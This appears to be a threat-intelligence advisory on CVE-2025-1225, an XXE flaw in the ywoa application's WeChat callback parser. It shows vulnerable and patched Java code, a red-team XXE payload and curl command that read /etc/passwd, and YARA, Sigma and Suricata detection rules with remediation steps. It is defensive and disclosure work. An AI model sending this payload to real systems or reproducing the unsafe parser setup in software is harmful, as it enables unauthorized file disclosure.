CVE-2025-1225

Executive Summary

CVE-2025-1225 is a publicly disclosed XML External Entity (XXE) vulnerability in the ywoa application, affecting versions up to and including 2024.07.03. The flaw resides in the extract function of the XMLParse.java file within the WXCallBack interface, allowing remote attackers to exploit XML external entity references. This can lead to unauthorized file reads, internal network scanning, or denial of service. The vendor has released version 2024.07.04 to address the issue, but no official patch advisory from OSV or GitHub is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Java-based application vulnerability in the ywoa project.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows limited information disclosure but does not directly enable code execution or data modification. However, XXE can be chained with other attacks for greater impact.

Deep Dive & Mechanics

The vulnerability is located in the WXCallBack interface, specifically in the extract method of XMLParse.java. This method processes incoming XML data from WeChat callbacks without properly disabling external entity resolution. When the XML parser encounters an external entity reference (e.g., <!ENTITY xxe SYSTEM "file:///etc/passwd">), it resolves the entity and includes its content in the parsed output, leading to information disclosure.

Root Cause: The XML parser is configured with default settings that allow DTD (Document Type Definition) processing and external entity resolution. The extract function does not explicitly disable these features.

Attack Vector: An attacker sends a crafted XML payload to the WXCallBack endpoint. The payload contains an external entity that points to a local file or internal resource. The server processes the XML, resolves the entity, and returns the file content in the response or logs.

Impact:

• Read arbitrary files from the server (e.g., configuration files, source code).
• Perform Server-Side Request Forgery (SSRF) to scan internal networks.
• Cause denial of service via entity expansion (Billion Laughs attack).

Vulnerable vs. Patched Code

Vulnerable Code (ywoa <= 2024.07.03):

// c-main/src/main/java/com/redmoon/weixin/aes/XMLParse.java
public static Object[] extract(String xmltext) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(xmltext)));
    // ... process document
}

Patched Code (ywoa >= 2024.07.04):

// c-main/src/main/java/com/redmoon/weixin/aes/XMLParse.java
public static Object[] extract(String xmltext) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    // Disable external entities
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(xmltext)));
    // ... process document
}

Exploitation & Lab Setup

Red Team

Exploit Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Usage: Send the payload to the WXCallBack endpoint (e.g., POST /wx/callback). The server will respond with the contents of /etc/passwd in the XML response.

Lab Setup:

1. Deploy ywoa version 2024.07.03 in a Docker container.
2. Expose the WXCallBack endpoint on port 8080.
3. Use curl to send the exploit:

   curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' http://target:8080/wx/callback
   

Blue Team

Detection:

• Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
• Look for outbound connections to unexpected internal IPs or file read patterns.
• Use WAF rules to block XML with external entities.

Hunting:

• Search logs for requests to /wx/callback with unusual XML content.
• Check for file read attempts (e.g., /etc/passwd, /etc/shadow).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wx/callback with XML containing <!DOCTYPE or <!ENTITY.
• File: Unauthorized reads of /etc/passwd, /etc/shadow, or application configuration files.
• Logs: XML parsing errors or warnings about external entity resolution.
• Process: Java process with unusual file access patterns.

Detection Engineering

YARA Rule

rule CVE_2025_1225_XXE_Payload {
    meta:
        description = "Detects XXE payloads targeting ywoa WXCallBack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1225"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+\s*\[/ nocase
        $entity_system = /<!ENTITY\s+\w+\s+SYSTEM\s+["']/ nocase
        $xxe_entity = /&xxe;|&file;|&data;/ nocase
    condition:
        any of them
}

Sigma Rule

title: XXE Exploitation Attempt Against ywoa WXCallBack
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XML external entity injection attempts in HTTP requests to ywoa WXCallBack endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wx/callback'
        cs-content-type: 'application/xml'
    keywords:
        - '<!DOCTYPE'
        - '<!ENTITY'
        - 'SYSTEM'
    condition: selection and keywords
falsepositives:
    - Legitimate XML with DTD declarations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1225 XXE Attempt Against ywoa WXCallBack"; flow:to_server; content:"POST"; http_method; content:"/wx/callback"; http_uri; content:"<!DOCTYPE"; http_client_body; content:"<!ENTITY"; http_client_body; content:"SYSTEM"; http_client_body; classtype:attempted-information-leak; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade ywoa to version 2024.07.04 or later.
2. Workaround: If upgrade is not possible, apply a WAF rule to block XML requests containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
3. Code Fix: Disable DTD processing and external entity resolution in the XML parser as shown in the patched code.
4. Network: Restrict access to the WXCallBack endpoint to trusted IPs only.
5. Monitoring: Enable logging and alerting for XML parsing errors and unusual file access patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence